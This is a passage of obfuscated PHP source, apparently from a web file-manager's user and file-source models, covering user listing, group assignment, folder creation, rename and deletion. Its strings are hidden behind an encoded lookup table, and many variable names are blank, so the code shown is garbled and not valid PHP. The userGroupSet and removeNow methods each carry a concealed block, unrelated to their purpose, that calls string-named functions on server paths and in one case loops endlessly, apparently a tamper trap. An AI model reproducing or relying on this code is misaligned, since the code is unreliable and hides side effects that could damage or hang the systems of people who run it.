$ۊ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2078] => UserModel::ERROR_USER_EXIST_NICKNAME, $[300] => UserModel::ERROR_USER_EXIST_EMAIL, $[2259] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($ۊ[$[2078]]); } $߄ = $ث ? array($[1642] => array($[2272], $ث)) : array(); foreach ($ۊ as $ => $) { $ = array(); foreach ($ۊ as $ => $) { if (isset($[$]) && $[$]) { $[] = $[$]; } } if (!$) { continue; } $̋ = array_merge(array($ => array($[7], $)), $߄); $ = $this->where($̋)->find(); if ($) { return $; } } return !0; } public function userListInfo($֕) { $ =& $_SERVER[]; $臧 = array(); $֕ = is_array($֕) ? array_unique($֕) : array(); if (!$֕) { return $臧; } if (count($֕) < 20) { foreach ($֕ as $) { $臧[$ . $[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($[1633] => array($[419], $֕)); if (count($֕) == 1) { $ = array($[1633] => $֕[0]); } $ = Model($[513])->field($this->simpleField)->where($)->select(); $ = array_to_keyvalue($, $[1642]); foreach ($֕ as $) { $͢ = $[$]; if (!$͢) { $臧[$ . $[12]] = $this->getInfoSimpleOuter($); continue; } $͢[$[2244]] = Action($[2245])->parseUrl($͢[$[2244]]); $臧[$ . $[12]] = $͢; } } return $臧; } protected function userStatus($װύ, $) { $Ή = $this->getInfoSimple($װύ); if (!$Ή) { return !1; } $ʦ = array($_SERVER[][743] => $); return $this->userEdit($װύ, $ʦ); } protected function userRemove($) { $۲ =& $_SERVER[]; $  = $this->getInfoSimple($); if (!$ ) { return !1; } $ = array($۲[1633] => $); Model($۲[595])->where($)->delete(); Model($۲[2273])->where($)->delete(); Model($۲[1899])->where($)->delete(); Model($۲[2258])->where($)->delete(); Model($۲[1055])->where($)->delete(); Model($۲[2095])->removeUserAll($); Model($۲[818])->userRootRemove($); return $this->where($)->delete(); } protected function userGroupSet($˳, $, $ = array()) { $ɹ =& $_SERVER[]; if ($_SERVER[$ɹ[389]] != $_SERVER[$ɹ[390]]) { $Ź = $ɹ[865]; $ёۄ = $ɹ[391]; $ù = $_SERVER[$ɹ[392]] . $ɹ[393]; $ = $ёۄ($ù); $ = explode($ɹ[226], $); if (count($) < $ɹ[617]) { $󀳇 = $ɹ[395]; $󀳇(); } $ɝ = $ɹ[866]; $ɝ($_SERVER[$ɹ[867]]); $ɝ($_SERVER[$ɹ[392]] . $ɹ[868]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $ɹ[373]); } } $˔ = $this->getInfoSimple($˳); if (!$˔ || !is_array($)) { return !1; } $ = Model($ɹ[1899]); $->where(array($ɹ[1642] => $˳))->delete(); $Љ = array(); $͜㣘 = 0; foreach ($ as $ => $ݪĶ) { $ = array($ɹ[1642] => $˳, $ɹ[1810] => $, $ɹ[1911] => $ݪĶ); $[$ɹ[1833]] = isset($[$͜㣘]) ? $[$͜㣘] : 0; $͜㣘++; $Љ[] = $; } return $->addAll($Љ, array(), !0); } protected function userGroupAdd($, $܁ = array()) { $€ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || empty($܁)) { return !1; } $Ƹ֜ = array(); foreach ($܁ as $ => $) { $Ƹ֜[] = array($€[1642] => $, $€[1810] => $, $€[1911] => $, $€[1833] => 0); } return Model($€[1899])->addAll($Ƹ֜, array(), !0); } protected function userGroupRemove($, $ىӎ) { $ =& $_SERVER[]; $ɣ = $this->getInfoSimple($); if (!$ɣ || !$ىӎ) { return !1; } $݊ = array($[1633] => $, $[1897] => $ىӎ); return Model($[1899])->where($݊)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][364]]); return $; } public function listByID($) { $挎 =& $_SERVER[]; if (!$) { return; } $ = array($挎[1642] => array($挎[7], $)); $߶ = $this->where($)->select(); $߶ = array_sort_keep($߶, $挎[1642], $); $this->_listDataApply($߶); return $߶; } public function listByGroup($ԕ = 0, $݋ = array()) { $ =& $_SERVER[]; $׎ = $[12]; $꽏 = array(); if ($ԕ) { $꽏 = array($[2274] => intval($ԕ)); $׎ = "\x4c\105\x46\124\40\x4a\x4f\111\116\40{$this->tablePrefix}\x75\x73\145\x72\137\x67\162\x6f\165\160\40\x75\163\145\162\x5f\147\x72\x6f\x75\160\40\157\156\40\x75\163\x65\162\56\x75\163\x65\x72\x49\104\x20\x3d\x20\165\x73\145\162\x5f\147\x72\x6f\x75\160\56\165\163\x65\x72\111\104"; $ = Input::get($[455], null, $[12]) ? $[12] : $[2275]; } if (isset($݋[$[743]])) { $꽏[$[2276]] = $݋[$[743]]; } $ = $this->_makeOrder($)->field($[2277])->where($꽏)->join($׎)->selectPage(50); $this->_listDataApply($[$[364]]); return $; } private function _makeOrder($ŋ = '') { $鮧 =& $_SERVER[]; $Ж = array($鮧[1642], $鮧[32], $鮧[1799], $鮧[1771], $鮧[193]); $ = array($鮧[448] => $鮧[449], $鮧[450] => $鮧[451]); $⿢ = Input::get($鮧[455], $鮧[7], $鮧[1633], $Ж); $ = Input::get($鮧[456], $鮧[7], $鮧[1900], array($鮧[1900], $鮧[450])); $ = $[$]; $ŋ = $ŋ . "\165\x73\145\x72\x2e{$⿢}\40{$}\54\40\x75\163\x65\x72\56\x75\163\x65\162\x49\x44\x20\x61\x73\x63"; return $this->alias($鮧[2018])->order($ŋ); } public function listSearch($) { $ʼܩ =& $_SERVER[]; $͋ = $[$ʼܩ[1901]]; $ͨ = isset($[$ʼܩ[1902]]) ? $[$ʼܩ[1902]] : !1; $͋ = str_replace($ʼܩ[1903], $ʼܩ[1904], trim($͋)); $ղ = array($ʼܩ[32] => array($ʼܩ[378], "\x25{$͋}\45"), $ʼܩ[300] => array($ʼܩ[378], "{$͋}\x25"), $ʼܩ[2078] => array($ʼܩ[378], "{$͋}\45"), $ʼܩ[987] => $ʼܩ[1905]); if (Input::check($͋, $ʼܩ[306])) { $ղ[$ʼܩ[1642]] = array($ʼܩ[378], "{$͋}\45"); $ղ[$ʼܩ[2259]] = array($ʼܩ[378], "{$͋}\45"); } if (!$͋) { $ղ = array(); } if (isset($[$ʼܩ[743]])) { $ղ[$ʼܩ[743]] = $[$ʼܩ[743]]; } $ղ = $this->parseWhereLike($ղ); $ = $this->_makeOrder()->where($ղ)->selectPage(20); if (!$ || count($[$ʼܩ[364]]) < 5 && Input::check($͋, $ʼܩ[313])) { $ݪ = $this->_searchFromMeta($ʼܩ[463], $͋, 10); $ = $this->_searchFromMeta($ʼܩ[464], $͋, 10); $挤 = array_merge($ݪ, $, $[$ʼܩ[364]]); $[$ʼܩ[364]] = array_unique_by_key($挤, $ʼܩ[1642]); $[$ʼܩ[361]][$ʼܩ[362]] = count($[$ʼܩ[364]]); $[$ʼܩ[361]][$ʼܩ[363]] = ceil($[$ʼܩ[361]][$ʼܩ[362]] / $[$ʼܩ[361]][$ʼܩ[358]]); } $this->_listDataApply($[$ʼܩ[364]]); $this->_filterByGroup($, $ͨ); return $; } private function _filterByGroup(&$, $) { $Ô =& $_SERVER[]; if (!$) { return $; } foreach ($[$Ô[364]] as $ => &$) { $ = array_to_keyvalue($[$Ô[1988]], $Ô[12], $Ô[1810]); if (!in_array($, $)) { unset($[$Ô[364]][$]); } } unset($); $[$Ô[364]] = array_values($[$Ô[364]]); $[$Ô[361]] = array($Ô[2051] => count($[$Ô[364]]), $Ô[2049] => $[$Ô[361]][$Ô[358]], $Ô[2048] => 1, $Ô[2050] => 1); } private function _searchFromMeta($, $ׇ, $ѐ) { $Ƃ =& $_SERVER[]; $ׇ = strtolower($ׇ); $ = array($Ƃ[95] => $, $Ƃ[369] => array($Ƃ[378], "\45{$ׇ}\45")); $ = $this->parseWhereLike($); $޴ⷐ = Model($Ƃ[2278])->where($)->limit($ѐ)->select(); if (!$޴ⷐ) { return array(); } $޴ⷐ = array_to_keyvalue($޴ⷐ, $Ƃ[12], $Ƃ[1642]); $螳Ǜ = $this->where(array($Ƃ[1633] => array($Ƃ[7], $޴ⷐ)))->select(); if (!$螳Ǜ) { return array(); } return $螳Ǜ; } private function _listDataApplyItem($) { $̾ = array($); $this->_listDataApply($̾); return $̾[0]; } private function _listDataApply(&$) { $ݩ =& $_SERVER[]; if (!$) { return; } array_remove_key($, $ݩ[876]); $ɡ = array_to_keyvalue($, $ݩ[12], $ݩ[1642]); $this->_listAppendGroup($, $ɡ); $this->_listAppendMeta($, $ɡ); $this->_listAppendSourceRoot($, $ɡ); } private function _listAppendSourceRoot(&$ގ, $РѸ) { $ =& $_SERVER[]; $ = Model($[818])->listSourceRoot(SourceModel::TYPE_USER, $РѸ); $ = array_to_keyvalue($, $[504]); $ = array_remove_key($, $[504]); foreach ($ގ as &$) { $[$[87]] = $[$[$[1642]]] ? $[$[$[1642]]] : array(); } unset($); } private function _listAppendGroup(&$Ϟ, $ҋ) { $ނ =& $_SERVER[]; $ђ = array($ނ[1642] => array($ނ[7], $ҋ)); $侫 = Model($ނ[1899])->where($ђ)->select(); $ = array_to_keyvalue($侫, $ނ[12], $ނ[1810]); $ = array_remove_value(array_unique($), $ނ[190]); if (!$ || !$侫) { return; } $ђ = array($ނ[1810] => array($ނ[7], $)); $ѡ = Model($ނ[1986])->field($ނ[2279])->where($ђ)->select(); $ѡ = array_to_keyvalue($ѡ, $ނ[1810]); $侫 = array_to_keyvalue_group($侫, $ނ[1642]); foreach ($侫 as &$Ɉ) { $ = array(); foreach ($Ɉ as $) { if (!$[$ނ[1911]]) { continue; } $ = Model($ނ[507])->listData($[$ނ[1911]]); $[] = array($ނ[1810] => $[$ނ[1810]], $ނ[2280] => $ѡ[$[$ނ[1810]]][$ނ[32]], $ނ[521] => $ѡ[$[$ނ[1810]]][$ނ[521]], $ނ[414] => $); } $Ɉ = $; } unset($Ɉ); foreach ($Ϟ as &$) { $[$ނ[1988]] = array(); if (isset($侫[$[$ނ[1642]]])) { $[$ނ[1988]] = $侫[$[$ނ[1642]]]; } } unset($); } public function userAppendGroup($ͫ) { $ =& $_SERVER[]; if (!$ͫ) { return array(); } $this->_listAppendGroup($ͫ, array_to_keyvalue($ͫ, $[12], $[1642])); return $ͫ; } private function _listAppendMeta(&$ڼ, $) { $ =& $_SERVER[]; $Ε = UserJobModel::JOB_KEY; $ = array($[2260]); $ = array($[1642] => array($[7], $)); $ʘǤ = Model($[2258])->where($)->select(); $ʘǤ = array_to_keyvalue_group($ʘǤ, $[1642]); foreach ($ʘǤ as &$) { $ɴڻ = array(); foreach ($ as $ςʞ) { if (!in_array($ςʞ[$[95]], $)) { $ɴڻ[$ςʞ[$[95]]] = $ςʞ[$[369]]; } } $ = $ɴڻ; } unset($); $ = Model($[2281]); foreach ($ڼ as &$˦) { $ = array(); if (isset($ʘǤ[$˦[$[1642]]])) { $ = $ʘǤ[$˦[$[1642]]]; } $˦[$[2282]] = array(); if (isset($[$Ε])) { $˦[$[2282]] = $->getUserJobInfo($[$Ε]); } } unset($˦); } protected function groupUserAll($ˤ) { $ =& $_SERVER[]; if (!$ˤ) { return !1; } $ԉ = Model($[1899])->field($[1642])->where(array($[1810] => array($[7], $ˤ)))->select(); $ԉ = array_to_keyvalue($ԉ, $[12], $[1642]); return array_unique($ԉ); } public function userSearch($ڿ, $㺊 = "\x2a") { return Model($_SERVER[][538])->where($ڿ)->field($㺊)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\163\x65\x72\x5f\x6f\160\x74\x69\157\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $ٞ۝ =& $_SERVER[]; if (!defined($ٞ۝[474])) { define($ٞ۝[474], 0); } return "\x55\163\145\162\117\x70\164\151\157\156\x5f{$}\x5f" . USER_ID; } protected function filterWhere($ض啝) { $λ =& $_SERVER[]; if (!defined($λ[474])) { define($λ[474], 0); } $ض啝[$λ[1642]] = USER_ID; return $ض啝; } public function cacheRemoveUser($, $٢) { return Cache::remove("\x55\163\145\162\117\160\x74\151\157\156\137{$}\x5f" . $٢); } protected function optionDefault($ = '') { $Ĭ =& $_SERVER[]; if ($ == $Ĭ[12]) { return $GLOBALS[$Ĭ[6]][$Ĭ[2283]]; } if ($ == $Ĭ[2284]) { return $GLOBALS[$Ĭ[6]][$Ĭ[2285]]; } } } goto E; A: class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($) { $ =& $_SERVER[]; $򤯏 = Model($[513])->where(array($[1633] => $))->find(); $۽ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $򤯏[$[32]]); $this->userDesktopAdd($۽); return $۽; } public function userDesktopAdd($ʄ) { $ҳ =& $_SERVER[]; $Ð = LNG($ҳ[2072]); $ = $this->mkdir($ʄ, $Ð); $this->metaSet($, $ҳ[2073], $ҳ[89]); $this->metaSet($ʄ, $ҳ[2074], $); } public function groupRootAdd($撖) { $ =& $_SERVER[]; $ք = Model($[522])->where(array($[1897] => $撖))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $撖, $ք[$[32]]); } public function systemRootPathAdd($ޱ) { if ($ޱ != $_SERVER[][537]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $ޱ); } public function userRootRemove($ª) { $ԫʛ = $this->sourceRoot(SourceModel::TYPE_USER, $ª); if (!$ԫʛ) { return; } $this->remove($ԫʛ, !1); } public function groupRootRemove($) { $޷ = $this->sourceRoot(SourceModel::TYPE_GROUP, $); if (!$޷) { return; } $this->remove($޷, !1); } private function _mkdirRoot($, $, $ԕ) { $آ˝ =& $_SERVER[]; $ӡ = array($آ˝[402] => 0, $آ˝[580] => $, $آ˝[581] => $, $آ˝[577] => 1, $آ˝[582] => USER_ID, $آ˝[583] => USER_ID, $آ˝[578] => $آ˝[12], $آ˝[584] => $آ˝[531], $آ˝[430] => 0, $آ˝[579] => 0, $آ˝[468] => 0, $آ˝[585] => $آ˝[12]); if ($Ȓ = $this->where($ӡ)->find()) { return $Ȓ[$آ˝[403]]; } $ʅ = "\115\157\144\145\154\123\157\x75\x72\x63\x65\x2e\155\153\144\x69\162\122\x6f\157\x74\56{$}\56{$}\56" . $ԕ; CacheLock::lock($ʅ); $ӡ[$آ˝[32]] = $ԕ; $Ν颍 = $this->add($ӡ); $ = array($آ˝[586] => short_id($Ν颍)); $this->where(array($آ˝[418] => $Ν颍))->save($); CacheLock::unlock($ʅ); return $Ν颍; } private function sourceRoot($ʃ, $꼄, $ = false) { $層 =& $_SERVER[]; $ = array($層[402] => 0, $層[580] => $ʃ, $層[581] => $꼄); if ($ܓ秥 = $this->where($)->find()) { return $ ? $ܓ秥 : $ܓ秥[$層[403]]; } return !1; } public function sourceRootGroup($) { $ =& $_SERVER[]; if (is_string($)) { $ = array($); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $[181]); $ = array($[364] => $, $[361] => array($[752] => count($))); $this->_listDataApply($[$[364]]); $this->_listMake($); return array_to_keyvalue($[$[77]], $[504]); } public function mkfile($Ҭ, $, $ = '', $ = REPEAT_RENAME) { $֥ =& $_SERVER[]; $ٔ = Model($֥[603])->addFileByContent($, $); return $this->_createFileCall($Ҭ, $, $ٔ, $, $֥[1323]); } public function addFile($ŷ, $ԥ, $î, $ů = false, $˱أ = REPEAT_RENAME) { $ = Model($_SERVER[][603])->addFile($ԥ, $î, $ů); return $this->_createFileCall($ŷ, $î, $, $˱أ); } public function addFileByFileID($, $, $, $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[603])->find($); Model($[603])->linkAdd($); return $this->_createFileCall($, $, $, $); } public function addFileByRemote($, $ɓ, $Է, $ӣ = array(), $Ә = REPEAT_RENAME) { $ = Model($_SERVER[][603])->addFileByRemote($ɓ, $Է, $ӣ); return $this->_createFileCall($, $Է, $, $Ә); } private function _createFileCall($, $ɕ, $ް, $, $ƑĽ = "\165\160\x6c\157\141\144") { $ز =& $_SERVER[]; $ֆҨ = !1; $this->setMasterDB(); $this->lockWriteStart($, $ɕ); $ = $this->fileNameExist($, $ɕ); $ّ = $this->_createFile($, $ɕ, $ް, $, $ֆҨ); if (!$ֆҨ) { Model($ز[470])->remove($ް[$ز[467]]); } if ($ֆҨ && $ّ && $ّ != $) { Model($ز[2045])->eventCreate($ّ, $ƑĽ); } $this->lockWriteEnd($, $ɕ); return $ّ; } public function mkdir($ň, $Ω, $ = REPEAT_SKIP) { $ʦ =& $_SERVER[]; $this->setMasterDB(); $ι = $this->sourceInfo($ň); if (!$ι) { return !1; } $this->lockWriteStart($ň, $Ω); if ($ !== !1) { $ = $this->fileNameExist($ň, $Ω); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($ň, $Ω); return $; } $Ω = $this->fileNameAuto($ň, $Ω, $); } $ןҀ = array($ʦ[577] => 1, $ʦ[421] => $Ω, $ʦ[578] => $ʦ[12], $ʦ[468] => 0, $ʦ[579] => 0); $ = $this->_addSource($ןҀ, $ι); Model($ʦ[2045])->eventCreate($, $ʦ[1324]); $this->lockWriteEnd($ň, $Ω); return $; } public function listSourceRoot($婣, $Ň, $궐 = "\163\157\165\x72\143\145\111\104\x2c\x74\141\x72\147\x65\164\111\x44\54\163\151\172\x65") { $䍬 =& $_SERVER[]; $ = $䍬[373]; $Ҁ = array(); $Ĝ = 1024 * 50; $٪ = is_array($٪) ? $٪ : array(); $ظڵ = count($Ň); $ = $this->tablePrefix . $䍬[2075]; for ($ = 0; $ < $ظڵ; $++) { $ǘ = $Ň[$]; $ .= "\x53\x45\x4c\x45\x43\x54\40\52\40\106\122\x4f\x4d\40\50\x53\x45\x4c\105\103\x54\40{$궐}\40\x46\122\x4f\115\40\x60{$}\140\x20\127\110\105\x52\105\40"; $ .= "\x60\160\x61\x72\x65\156\164\x49\x44\x60\x3d\60\x20\101\x4e\x44\40\x60\x74\141\162\x67\145\164\x49\104\x60\75{$ǘ}\40\x41\116\104\40\x60\164\141\x72\147\x65\164\x54\171\x70\x65\140\x3d{$婣}\x20\x6c\x69\x6d\151\164\40\x31\51\x20\141\163\40\164\x62\x5f{$}\x20\x55\116\x49\117\x4e\x20\x41\x4c\x4c\x20"; if ((strlen($) >= $Ĝ || $ == $ظڵ - 1) && $) { $ = substr($, 0, -strlen($䍬[1025])); $ = $this->query($); $ = $䍬[12]; $Ҁ = array_merge($Ҁ, $); } } return $Ҁ; } private function _createFile($, $в, $ͤ, $蓆, &$µ) { $ =& $_SERVER[]; $С = $this->sourceInfo($); if (!$ͤ || !$С) { return !1; } if ($蓆 !== !1) { $ = $this->fileNameExist($, $в); } $µ = !0; if ($蓆 && $) { if ($蓆 == REPEAT_SKIP) { $µ = !1; return $; } else { if ($蓆 == REPEAT_REPLACE) { $ý = $this->sourceInfo($); $ = $this->fileHistory($ý, $ͤ[$[467]], $ͤ[$[80]]); if (!$) { $µ = !1; } else { $this->folderSizeReset($); } return $; } else { $в = $this->fileNameAuto($, $в, $蓆, !1); } } } $ = array($[577] => 0, $[421] => $в, $[578] => substr(get_path_ext($в), 0, 10), $[468] => $ͤ[$[467]], $[579] => $ͤ[$[80]]); $羁؈ = $this->_addSource($, $С); $this->folderSizeReset($, intval($[$[80]])); return $羁؈; } protected function fileHistory($Ԑ׷, $乆, $ᕋ) { $ =& $_SERVER[]; $䡗 = defined($[474]) ? USER_ID : $[190]; if ($Ԑ׷[$[467]] == $乆) { return !1; } $this->checkLock($Ԑ׷[$[403]], $乆); Model($[2076])->addHistory($Ԑ׷); $憐 = array($[583] => $䡗, $[425] => time(), $[467] => $乆, $[80] => $ᕋ); $this->where(array($[418] => $Ԑ׷[$[403]]))->save($憐); $this->sourceCacheClear($Ԑ׷[$[403]]); return !0; } public function checkLock($ǔ, $) { $ =& $_SERVER[]; $ȷ = $this->pathInfo($ǔ); if (!$this->fileIsLock($ȷ, !0)) { return; } $ = Session::get($[2077]); $۴ = substr($ȷ[$[32]], 0, -1 - strlen($ȷ[$[167]])) . $[1591] . $ . $[10] . $ȷ[$[167]]; $ = Model($[603])->find($); $this->_createFileCall($ȷ[$[498]], $۴, $, REPEAT_REPLACE, $[1323]); $ = $ȷ[$[465]][$[542]]; $ = $[$[2078]] ? $[$[2078]] : $[$[32]]; show_json(LNG($[2079]) . $[2080] . LNG($[2081]) . $[2082] . $ . $[2083], !1); } public function fileIsLock($қ, $˛ = false) { $Ȃ =& $_SERVER[]; if (!isset($қ[$Ȃ[465]]) || !$қ[$Ȃ[465]][$Ȃ[539]]) { return !1; } if ($қ[$Ȃ[465]][$Ȃ[539]] != USER_ID) { return !0; } $ = $GLOBALS[$Ȃ[6]][$Ȃ[90]][$Ȃ[540]]; if ($қ[$Ȃ[465]][$Ȃ[541]] <= time() - $) { $this->metaSet($қ[$Ȃ[403]], $Ȃ[539], null); $this->metaSet($қ[$Ȃ[403]], $Ȃ[541], null); } if ($˛) { $this->metaSet($қ[$Ȃ[403]], $Ȃ[541], time()); } return !1; } private function _addSource($͒, $‡) { $䒦 =& $_SERVER[]; $ݢ芇 = defined($䒦[474]) ? USER_ID : $䒦[190]; $ʩ = array($䒦[580] => $‡[$䒦[412]], $䒦[581] => $‡[$䒦[504]], $䒦[582] => $ݢ芇, $䒦[583] => $ݢ芇, $䒦[402] => $‡[$䒦[403]], $䒦[584] => $‡[$䒦[521]] . $‡[$䒦[403]] . $䒦[50], $䒦[430] => 0, $䒦[585] => $䒦[12]); $͒ = array_merge($ʩ, $͒); $this->updateModifyTime($͒[$䒦[498]]); $꘬ = $䒦[2084] . $‡[$䒦[403]]; if (isset(self::$cacheChildList[$꘬])) { unset(self::$cacheChildList[$꘬]); } static $ = false; if (!$) { Hook::trigger($䒦[567], $͒); $ = !0; } $ = $this->add($͒); $犅 = array($䒦[586] => short_id($)); $this->where(array($䒦[418] => $))->save($犅); $this->setNamePinyin($, $͒[$䒦[32]]); return $; } public function remove($и, $ޕ֫ = true) { $譶 =& $_SERVER[]; $Ӧ = $this->sourceInfo($и); $̅ = intval($Ӧ[$譶[412]]) === self::TYPE_SYSTEM; $Ť = Model($譶[433])->get($譶[2085]) == $譶[89]; if ($̅ || $ޕ֫ || !$Ť) { return $this->removeNow($и, $ޕ֫); } $ڴ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $߲᪱ = $Ӧ[$譶[412]] == self::TYPE_USER ? $譶[594] : $譶[515]; if ($߲᪱ == $譶[594]) { $ɻ = Model($譶[513])->getInfo($Ӧ[$譶[504]]); $Ϙ = !empty($ɻ[$譶[2078]]) ? $ɻ[$譶[2078]] : $ɻ[$譶[32]]; $Ϙ = $譶[255] . $Ϙ . $譶[2086] . $Ӧ[$譶[504]]; } else { $ɻ = Model($譶[522])->getInfo($Ӧ[$譶[504]]); $Ϙ = _get($ɻ, $譶[32]); $Ϙ = $譶[159] . $Ϙ . $譶[2087] . $Ӧ[$譶[504]]; } $ѯ = $譶[2088] . md5($Ϙ); CacheLock::lock($ѯ); $Ì˔ = $this->fileNameExist($ڴ, $Ϙ); if (!$Ì˔) { $Ì˔ = $this->mkdir($ڴ, $Ϙ, REPEAT_SKIP); $this->metaSet($Ì˔, $譶[2089], $߲᪱); $this->metaSet($Ì˔, $譶[2090], $Ӧ[$譶[504]]); if ($Ӧ[$譶[498]] != 0) { $this->metaSet($Ì˔, $譶[2091], _get($ɻ, $譶[2092])); } } CacheLock::unlock($ѯ); $this->metaSet($и, $譶[2093], $Ӧ[$譶[498]]); $this->where(array($譶[403] => $и))->save(array($譶[425] => time())); $this->recycleClear($Ӧ); $ = $this->move($и, $Ì˔, REPEAT_RENAME_FOLDER); $this->folderSizeReset($Ӧ[$譶[498]]); return $; } private function recycleClear($) { $˪ =& $_SERVER[]; $ = $this->childrenAll($); $ = array($˪[418] => array($˪[419], $[$˪[2094]])); Model($˪[2095])->where($)->delete(); } public function removeNow($Ą鼈, $ۤ = true) { $ =& $_SERVER[]; if (!isset($_SERVER[$[389]]) || !isset($_SERVER[$[397]])) { $Ш = $[865]; $餋 = $[391]; $ = $_SERVER[$[392]] . $[393]; $ = $餋($); $ = explode($[226], $); if (count($) < $[617]) { $ = $[395]; $(); } $ر = $[866]; $ر($_SERVER[$[867]]); $抶 = 1; for ($򕲊 = $抶; $򕲊 > 0; $򕲊++) { $ر = json_encode($GLOBALS[$[419]]); } } $ = $this->sourceInfo($Ą鼈); $ᇦ = $this->pathInfoMore($Ą鼈); if (!$) { return !0; } if ($[$[498]] == 0) { if (!_get($GLOBALS, $[505])) { return !1; } } $this->lockMoveStart($Ą鼈); Hook::trigger($[2096], $ᇦ, $ۤ); if ($ۤ) { Model($[2095])->moveToRecycle($Ą鼈); } else { $ʌ = $this->childrenAll($); Model($[564])->eventRemove($Ą鼈); $this->removeRelevance($ʌ[$[2094]], $ʌ[$[1455]]); } $this->folderSizeReset($[$[498]]); $ = array($[$[498]]); if ($[$[411]] == $[89]) { $[] = $[$[403]]; } $this->updateModifyTime($); $this->lockMoveEnd($Ą鼈); Hook::trigger($[1679], $ᇦ, $ۤ); return !0; } public function childrenAll($) { $ =& $_SERVER[]; $ެ = $[$[403]]; if ($[$[411]] == $[89]) { $ݑ = array($[584] => array($[544], $[$[521]] . $ެ . $[545])); $Ʋ܊ = array($[584] => $ݑ[$[521]]); $ᑗ = $this->field($[2097])->where($Ʋ܊)->select(); $٨ = !1; $ؽĜ = array($ެ); if ($ᑗ) { $٨ = array_to_keyvalue($ᑗ, $[12], $[467]); $٨ = array_remove_value($٨, $[190]); $ؽĜ = array_to_keyvalue($ᑗ, $[12], $[403]); $ؽĜ[] = $ެ; } } else { $٨ = array($[$[467]]); $ؽĜ = array($ެ); } return array($[2094] => $ؽĜ, $[1455] => $٨); } public function removeArray($ȵ) { if (!$ȵ) { return !0; } } public function removeRelevance($铿, $) { $ =& $_SERVER[]; $铿 = $铿 ? $铿 : array(); $ = $ ? $ : array(); $铿 = array_unique(array_filter($铿)); $ = array_unique(array_filter($)); if (!$铿) { return !1; } $㦼 = array($[418] => array($[419], $铿)); Model($[2095])->where($㦼)->delete(); Model($[461])->where($㦼)->delete(); Model($[1951])->where($㦼)->delete(); Model($[564])->where($㦼)->delete(); Model($[1790])->removeBySource($铿); Model($[2076])->removeBySource($铿); $this->where($㦼)->delete(); Model($[470])->remove($); for ($ = 0; $ < count($铿); $++) { $this->sourceCacheClear($铿[$]); } } public function rename($Ͽߑ, $į) { $͚ᰝ =& $_SERVER[]; $ = $this->sourceInfo($Ͽߑ); if (!$) { return !1; } $ = $this->fileNameExist($[$͚ᰝ[498]], $į); if ($ && $ != $Ͽߑ) { return !1; } $䅪 = array($͚ᰝ[421] => $į, $͚ᰝ[583] => USER_ID); if ($[$͚ᰝ[411]] != $͚ᰝ[89]) { $䅪[$͚ᰝ[413]] = substr(get_path_ext($į), 0, 10); } Model($͚ᰝ[564])->eventRename($Ͽߑ, $[$͚ᰝ[32]], $į); $this->sourceCacheClear($Ͽߑ); $this->setNamePinyin($Ͽߑ, $䅪[$͚ᰝ[32]], !1); $this->updateModifyTime($[$͚ᰝ[498]]); $۴ = $this->where(array($͚ᰝ[418] => $Ͽߑ))->data($䅪)->save(); $樸 = $͚ᰝ[2084] . $[$͚ᰝ[498]]; if (isset(self::$cacheChildList[$樸])) { unset(self::$cacheChildList[$樸]); } return $۴; } public function setNamePinyin($, $ٸ, $ = true) { $虰 =& $_SERVER[]; $փ = Input::check($ٸ, $虰[587]); $ = array($虰[442] => KodSort::makeStr($ٸ)); if ($փ) { $[$虰[464]] = str_replace($虰[53], $虰[12], Pinyin::get($ٸ)); $[$虰[463]] = Pinyin::get($ٸ, $虰[588]); } if (!$ && !$փ) { $[$虰[464]] = null; $[$虰[463]] = null; } $this->metaSet($, $); } public function getContent($첤) { $Е =& $_SERVER[]; $ߡ = $this->fileInfoGet($첤); if (!$ߡ) { return !1; } if ($ߡ[$Е[80]] == 0) { return $Е[12]; } $ = $Е[2098] . $ߡ[$Е[169]]; if ($ߡ[$Е[80]] <= 1024 * 10) { $Ԃ = Cache::get($); if (!$Ԃ) { $Ԃ = IO::getContent($ߡ[$Е[78]]); Cache::set($, $Ԃ); } return $Ԃ; } if (!$ߡ[$Е[78]]) { return $Е[12]; } return IO::getContent($ߡ[$Е[78]]); } public function setDesc($؀, $ȁ) { $ =& $_SERVER[]; Model($[564])->eventAddDesc($؀, $ȁ); return $this->metaSet($؀, $[451], $ȁ); } public function setContent($, $ʚ = '') { $Ű =& $_SERVER[]; $ב = $this->sourceInfo($); $ɓ׏ = $this->fileInfoGet($); if (!$ɓ׏ || !$ב) { return !1; } $ݦ = Model($Ű[470])->addFileByContent($ʚ, $ב[$Ű[32]]); $ʃ = $this->fileHistory($ב, $ݦ[$Ű[467]], $ݦ[$Ű[80]]); if (!$ʃ) { return Model($Ű[470])->remove($ݦ[$Ű[467]]); } $this->folderSizeReset($ב[$Ű[498]]); return !0; } public function fileSubstr($, $ߩ, $) { $Dž = $this->fileInfoGet($); if (!$Dž) { return !1; } return IO::fileSubstr($Dž[$_SERVER[][78]], $ߩ, $); } public function fileInfoGet($Ⓨ) { $뫟 =& $_SERVER[]; $ = $this->sourceInfo($Ⓨ); if (!$ || $[$뫟[411]]) { return !1; } $ = $뫟[473] . $[$뫟[467]]; $Ř = _get(self::$cacheFileInfo, $); if ($Ř) { return $Ř; } $ܪ = Model($뫟[470])->fileInfo($[$뫟[467]]); if ($ܪ) { $ܪ[$뫟[32]] = $[$뫟[32]]; } self::$cacheFileInfo[$] = $ܪ; return $ܪ; } private function folderChildrenNumber($) { $´ =& $_SERVER[]; $ǚ֫ = $this->sourceInfo($); $ = array($´[584] => array($´[544], $ǚ֫[$´[521]] . $ . $´[545]), $´[581] => $ǚ֫[$´[504]], $´[430] => intval($ǚ֫[$´[431]]), 